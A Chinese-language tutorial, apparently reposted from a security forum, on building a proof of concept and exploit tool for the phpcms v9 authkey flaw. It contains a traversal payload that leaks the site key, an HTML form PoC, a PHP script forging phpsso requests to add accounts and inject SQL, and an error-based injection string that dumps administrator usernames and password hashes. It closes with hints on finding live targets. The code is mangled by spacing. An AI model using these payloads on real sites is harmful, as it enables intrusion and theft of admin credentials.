简单的Poc Exp编写(上)


简单的POC EXP  编写  (上)
 
作者BY Greekn  

 

今天主要讲的  是关于web  方面的 poc  编写

 

关于web  安全  个人理解的话

 

一个就是攻击   另一个就是漏洞挖掘   防御的话  看自己的经验了

 

攻击的话  不管自己黑的漫天飞 也是利用别人的  工具   或者漏洞罢了

 

这样  只会攻击的话 我们是学不会指哪打哪的  所以我们就需要掌握  漏洞挖掘了

 

漏洞挖掘的流程  应该 是这样的

 

通用应用程序(挖掘)发现漏洞(调试)>POC/EXP (编写)

 

所以 POC/EXP  也是  在漏洞挖掘后  的最后一个环节

 

自己挖到了 oday  零贝  可以写成  批量  工具  加大数据

 

这样  的话是不是专业一点呢



编写测试工具https://bbs.ichunqiu.com/thread-23266-1-1.html?from=43

 

漏洞去年爆的phpcms  v9 authkey  注入漏洞

 

环境的话  我是百度下载的 phpcms v9 5.8  的网站源码

 

越高的版本  会修补这个漏洞的

 

所以百度下载的

 

我们先来查看一下

 

payload
 
[AppleScript]  纯文本查看 复制代码
?
1
api.php?op = get_menu & act = ajax_getlist & callback = aaaaa & parentid = 0 & key = authkey & cachefile = ..\..\..\phpsso_server\caches\caches_admin\caches_data\applist & path = admin



这个 payload  是爆 phpcms key  ta 可以帮我们来验证一下 phpcms  网站是否有这个漏洞

 

我们先简单  利用 html  写个  验证   脚本

 

Html poc  验证代码
[AppleScript]  纯文本查看 复制代码
?
1
2
3
< form action = "http://127.0.0.1/2/api.php?op=get_menu&act=ajax_getlist&callback=aaaaa&parentid=0&key=authkey&cachefile=..\..\..\phpsso_server\caches\caches_admin\caches_data\applist&path=admin" method = "post" >
< input type = "submit" value = "爆菊花" / >
< / form >

这个payload GET 的方式 访问的 我们无需提交数据

<ignore_js_op> 


我们点击 submit 表单
<ignore_js_op>

 

我们访问了这个网站  验证了这个网站是存在漏洞的
关于 html  编写 poc  方式多种多样主要 看 payload

 

我们根据payload  来编写 脚本  or  工具

 

不过  这样的话  还是非常麻烦的

 

我们还是  去写  一款  可视化的  利用工具吧

 

  验证  漏洞   然后    利用漏洞

 

这样才能达到我们的目的对吧

 

补充一下
关于POC  EXP  的概念
I春秋论坛找的

 

通常 EXP OR POC  都是可以执行的的漏洞利用脚本 或者程序
区别主要在于是否恶意

 

Poc  proof  of  concept  的简称 翻译过来就是 (漏洞验证)

 

Exp  是  exploit   的简称 翻译过来就是 (漏洞利用)

 

搞清楚概念就行了

 

下面我们  写的是exp  利用工具

 

开发环境

 

编程语言 >  易语言

 

利用模块 >  精易模块

 

函数()的话  自己看代码了

 

我们写简单看一下注入的脚本

 

这段是php 写的代码
 
[AppleScript]  纯文本查看 复制代码
?
001
002
003
004
005
006
007
008
009
010
011
012
013
014
015
016
017
018
019
020
021
022
023
024
025
026
027
028
029
030
031
032
033
034
035
036
037
038
039
040
041
042
043
044
045
046
047
048
049
050
051
052
053
054
055
056
057
058
059
060
061
062
063
064
065
066
067
068
069
070
071
072
073
074
075
076
077
078
079
080
081
082
083
084
085
086
087
088
089
090
091
092
093
094
095
096
097
098
099
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
< ?php
#error_reporting(0);
 
$ url = $_GET[' url '];
$ key = $_GET[' key '];
/ / $host = '网站';
/ / $auth_key = ' key ';
/ / $ string = "action=member_delete&uids=" .$_GET[' id ']; / / uids注入点
 
 
$host = "http://$url/" ;
$auth_key = "$key" ;
$ string = "action=member_delete&uids=" .$_GET[' id ']; / / uids注入点
$strings = "action=member_add&uid=88888&random=333333&username=test123456&password=e445061346e44cc38d9f985836b9eac6&email=ffff@qq.com®ip=8.8.8.8" ;
 
 
 
 
$ecode = sys_auth ( $strings , 'ENCODE' , $auth_key ) ;
$ url = $host. "/api.php?op=phpsso&code=" .$ecode;
$resp = file_get_contents ( $ url ) ;
#echo $resp;
$ecode = sys_auth ( $ string , 'ENCODE' , $auth_key ) ;
$ url = $host. "/api.php?op=phpsso&code=" .$ecode;
#echo $url;
$resp = file_get_contents ( $ url ) ;
echo $resp;
 
 
 
$ecode = sys_auth 2 ( $strings , 'ENCODE' , $auth_key ) ;
$ url = $host. "/api.php?op=phpsso&code=" .$ecode;
$resp = file_get_contents ( $ url ) ;
#echo $resp;
$ecode = sys_auth 2 ( $ string , 'ENCODE' , $auth_key ) ;
$ url = $host. "/api.php?op=phpsso&code=" .$ecode;
$resp = file_get_contents ( $ url ) ;
echo $resp;
 
 
$ecode = sys_auth 3 ( $strings , 'ENCODE' , $auth_key ) ;
$ url = $host. "/api.php?op=phpsso&code=" .$ecode;
$resp = file_get_contents ( $ url ) ;
#echo $resp;
$ecode = sys_auth 3 ( $ string , 'ENCODE' , $auth_key ) ;
$ url = $host. "/api.php?op=phpsso&code=" .$ecode;
$resp = file_get_contents ( $ url ) ;
echo $resp;
 
 
 
function sys_auth ( $ string , $operation = 'ENCODE' , $ key = '' , $expiry = 0 ) {
         $key_length = 4 ;
         $ key = md 5 ( $ key ! = '' ? $ key : pc_base : : load_config ( 'system' , 'auth_key' ) ) ;
         $fixedkey = md 5 ( $ key ) ;
         $egiskeys = md 5 ( substr ( $fixedkey , 16 , 16 ) ) ;
         $runtokey = $key_length ? ( $operation = = 'ENCODE' ? substr ( md 5 ( microtime ( true ) ) , - $key_length ) : substr ( $ string , 0 , $key_length ) ) : '';
         $keys = md 5 ( substr ( $runtokey , 0 , 16 ) . substr ( $fixedkey , 0 , 16 ) . substr ( $runtokey , 16 ) . substr ( $fixedkey , 16 ) ) ;
         $ string = $operation = = 'ENCODE' ? sprintf ( '% 010 d' , $expiry ? $expiry + time ( ) : 0 ) .substr ( md 5 ( $ string .$egiskeys ) , 0 , 16 ) . $ string :
 
base 64 _decode ( strtr ( substr ( $ string , $key_length ) , ' - _' , ' + / ' ) ) ;
 
         if ( $operation = = 'ENCODE' ) {
                 $ string . = substr ( md 5 ( microtime ( true ) ) , -4 ) ;
         }
         if ( function_exists ( 'mcrypt_encrypt' ) = = true ) {
                 $ result = sys_auth_ex ( $ string , $operation , $fixedkey ) ;
         } else {
                 $i = 0 ; $ result = '';
                 $string_length = strlen ( $ string ) ;
                 for ( $i = 0 ; $i < $string_length; $i + + ) {
                         $ result . = chr ( ord ( $ string { $i } ) ^ ord ( $keys { $i % 32 } ) ) ;
                 }
         }
         if ( $operation = = 'DECODE' ) {
                 $ result = substr ( $ result , 0 , -4 ) ;
         }
         
         if ( $operation = = 'ENCODE' ) {
                 return $runtokey . rtrim ( strtr ( base 64 _encode ( $ result ) , ' + / ' , ' - _' ) , ' = ' ) ;
         } else {
                 if ( ( substr ( $ result , 0 , 10 ) = = 0 || substr ( $ result , 0 , 10 ) - time ( ) > 0 ) & & substr ( $ result , 10 , 16 ) = = substr ( md 5 ( substr ( $ result ,
 
26 ) .$egiskeys ) , 0 , 16 ) ) {
                         return substr ( $ result , 26 ) ;
                 } else {
                         return '';
                 }
         }
}
 
function sys_auth_ex ( $ string , $operation = 'ENCODE' , $ key )
{
     $encrypted_data = "" ;
     $td = mcrypt_module_open ( 'rijndael -256 ' , '' , 'ecb' , '' ) ;
  
     $iv = mcrypt_create_iv ( mcrypt_enc_get_iv_size ( $td ) , MCRYPT_RAND ) ;
     $ key = substr ( $ key , 0 , mcrypt_enc_get_key_size ( $td ) ) ;
     mcrypt_generic_init ( $td , $ key , $iv ) ;
 
     if ( $operation = = 'ENCODE' ) {
         $encrypted_data = mcrypt_generic ( $td , $ string ) ;
     } else {
         $encrypted_data = rtrim ( mdecrypt_generic ( $td , $ string ) ) ;
     }
     mcrypt_generic_deinit ( $td ) ;
     mcrypt_module_close ( $td ) ;
     return $encrypted_data;
}
 
 
 
function  sys_auth 2 ( $ string , $operation = 'ENCODE' , $ key = '' , $expiry = 0 ) {
                 $ckey_length = 4 ;
                 $ key = md 5 ( $ key ! = '' ? $ key : $this - > ps_auth_key ) ;
                 $keya = md 5 ( substr ( $ key , 0 , 16 ) ) ;
                 $keyb = md 5 ( substr ( $ key , 16 , 16 ) ) ;
                 $keyc = $ckey_length ? ( $operation = = 'DECODE' ? substr ( $ string , 0 , $ckey_length ) : substr ( md 5 ( microtime ( ) ) , - $ckey_length ) ) : '';
 
                 $cryptkey = $keya.md 5 ( $keya.$keyc ) ;
                 $key_length = strlen ( $cryptkey ) ;
 
                 $ string = $operation = = 'DECODE' ? base 64 _decode ( strtr ( substr ( $ string , $ckey_length ) , ' - _' , ' + / ' ) ) : sprintf ( '% 010 d' , $expiry ? $expiry +
 
time ( ) : 0 ) .substr ( md 5 ( $ string .$keyb ) , 0 , 16 ) .$ string ;
                 $string_length = strlen ( $ string ) ;
 
                 $ result = '';
                 $box = range ( 0 , 255 ) ;
 
                 $rndkey = array ( ) ;
                 for ( $i = 0 ; $i < = 255 ; $i + + ) {
                         $rndkey[$i] = ord ( $cryptkey[$i % $key_length] ) ;
                 }
 
                 for ( $j = $i = 0 ; $i < 256 ; $i + + ) {
                         $j = ( $j + $box[$i] + $rndkey[$i] ) % 256 ;
                         $tmp = $box[$i];
                         $box[$i] = $box[$j];
                         $box[$j] = $tmp;
                 }
 
                 for ( $a = $j = $i = 0 ; $i < $string_length; $i + + ) {
                         $a = ( $a + 1 ) % 256 ;
                         $j = ( $j + $box[$a] ) % 256 ;
                         $tmp = $box[$a];
                         $box[$a] = $box[$j];
                         $box[$j] = $tmp;
                         $ result . = chr ( ord ( $ string [$i] ) ^ ( $box[ ( $box[$a] + $box[$j] ) % 256 ] ) ) ;
                 }
 
                 if ( $operation = = 'DECODE' ) {
                         if ( ( substr ( $ result , 0 , 10 ) = = 0 || substr ( $ result , 0 , 10 ) - time ( ) > 0 ) & & substr ( $ result , 10 , 16 ) = = substr ( md 5 ( substr ( $ result ,
 
26 ) .$keyb ) , 0 , 16 ) ) {
                                 return substr ( $ result , 26 ) ;
                         } else {
                                 return '';
                         }
                 } else {
                         return $keyc.rtrim ( strtr ( base 64 _encode ( $ result ) , ' + / ' , ' - _' ) , ' = ' ) ;
                 }
         }
 
 
         
function sys_auth 3 ( $ string , $operation = 'ENCODE' , $ key = '' , $expiry = 0 ) {
                 $key_length = 4 ;
                 $ key = md 5 ( $ key ) ;
                 $fixedkey = md 5 ( $ key ) ;
                 $egiskeys = md 5 ( substr ( $fixedkey , 16 , 16 ) ) ;
                 $runtokey = $key_length ? ( $operation = = 'ENCODE' ? substr ( md 5 ( microtime ( true ) ) , - $key_length ) : substr ( $ string , 0 , $key_length ) ) : '';
                 $keys = md 5 ( substr ( $runtokey , 0 , 16 ) . substr ( $fixedkey , 0 , 16 ) . substr ( $runtokey , 16 ) . substr ( $fixedkey , 16 ) ) ;
                  
                 $ string = $operation = = 'ENCODE' ? sprintf ( '% 010 d' , $expiry ? $expiry + time ( ) : 0 ) .substr ( md 5 ( $ string .$egiskeys ) , 0 , 16 ) . $ string :
 
base 64 _decode ( substr ( $ string , $key_length ) ) ;
                 / / 10 位密文过期信息 + 16 位明文和密钥生成的密文验证信息 + 明文
                  
                 $i = 0 ; $ result = '';
                 $string_length = strlen ( $ string ) ;
                 for ( $i = 0 ; $i < $string_length; $i + + ) {
                   $ result . = chr ( ord ( $ string { $i } ) ^ ord ( $keys { $i % 32 } ) ) ;
                 }
                  
                 if ( $operation = = 'ENCODE' ) {
                     return $runtokey . str_replace ( ' = ' , '' , base 64 _encode ( $ result ) ) ;
                 } else {
                         if ( ( substr ( $ result , 0 , 10 ) = = 0 || substr ( $ result , 0 , 10 ) - time ( ) > 0 ) & & substr ( $ result , 10 , 16 ) = = substr ( md 5 ( substr ( $ result ,
 
26 ) .$egiskeys ) , 0 , 16 ) ) {
                           return substr ( $ result , 26 ) ;
                         } else {
                           return '';
                         }
                 }
     }
 
 
? >

 

其中我们要填写二个参数  一个是获取的key  和目标站

 

ta 在写到  php  环境 下 执行

 

然后启用我们的注入payload  才行

 

我们看下payload

 

[AppleScript]  纯文本查看 复制代码
?
1
php? url = url & key = key & id = userid = 1 % 20 and% 20 ( SELECT% 201 % 20 FROM ( SELECT% 20 count ( * ) , concat ( ( SELECT ( SELECT% 20 concat ( 0 x 7 e , 0 x 27 , cast ( ( substring ( ( select + concat ( 0 x 7 e , 0 x 27 , username , 0 x 3 a , + password , + 0 x 3 a , + encrypt , 0 x 27 , 0 x 40 , 0 x 7 e ) + FROM + `v 9 _admin` + WHERE + 1 + limit + 0 , 1 ) , 1 , 62 ) ) % 20 as% 20 char ) , 0 x 27 , 0 x 7 e ) ) % 20 FROM% 20 information_schema.tables% 20 limit% 200 , 1 ) , floor ( rand ( 0 ) * 2 ) ) x% 20 FROM% 20 information_schema.columns% 20 group% 20 by% 20 x ) a )
 
这个直接在 那个注入脚本后面执行注入payload 才能爆出账户密码来
这个 payload 需要填写二个参数和之前一样一个是key 和目标站
然后看一下我们   易语言写的 EXP  利用工具怎么写吧

<ignore_js_op> 

我们写看一下软件的界面吧

 

我的想法是  首先写验证漏洞是不是存在

 

第二个自动会填写获取的key  和目标 URL  到环境参数搭建这里

 

然后就是  自己填写一下 php 环境的路径还有生成的文件名是 php 前面的自定义就可以了

 

然后开始获取数据这里  自己只要填写一下local  本地 地址就可以了就是那个  php 环境下的那个生成的文件 填写文件名和后缀就可以

 

开始exploit  获取数据了



我们看一下流程

 

首先我们输入目标地址  点击验证漏洞

 

判断漏洞存在  程序会吧数据回显的key  自动输入到环境参数搭建这里

 

<ignore_js_op>
这样我们把替换的数据都写到了 php 环境下了
程序也会自动  把环境参数搭建下的 key  和  URL  输入到开始获取数据这里
<ignore_js_op>
我们只要输入我们的那个生成的那个php的文件名和后缀和本地地址就可以注入出数据了

 

然后程序大概的流程是这样的  我会把源代码  打包好放在下面

 

如果感兴趣的可以看看
<ignore_js_op>
我这样就不在过多的去写了

 

其实也可以添加皮肤  等等  把工具做的好看一点对吧

 

其实还可以写的方便一点的就不在浪费时间了  主要的架构我觉得是这样的

 

以后还会出  下篇文章的

 

这篇文章比较简单
<ignore_js_op>



程序没有注释  所以大家可以自己看看  有兴趣的

 

下面是实战怎么找这个漏洞可以利用的目标
<ignore_js_op>

 

所以我不在实战了  实战也是一样的利用了
 
<ignore_js_op>


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM